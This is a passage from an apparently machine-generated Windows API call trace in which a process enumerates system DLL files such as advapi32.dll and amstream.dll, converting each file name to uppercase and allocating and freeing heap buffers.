Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.671] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x252c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.671] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x252c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.671] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.671] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x252c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0165.671] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.671] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.672] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x252c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.672] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x252c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.672] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.672] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x252c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.672] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.672] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.672] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x252c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.673] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x252c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.673] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x252c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.673] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.673] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x252c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0165.673] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.673] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.674] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x252c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.674] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x252c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.674] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c288 [0165.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x252c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c288) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252c120) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0165.674] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e8c8) returned 1 [0165.674] FindNextFileW (in: hFindFile=0x7f2ad0, lpFindFileData=0x36f430 | out: lpFindFileData=0x36f430*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x77d94cd7, dwReserved1=0x36f5f4, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0165.674] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e8c8 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0165.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0165.675] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x252c120 [0165.675] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, 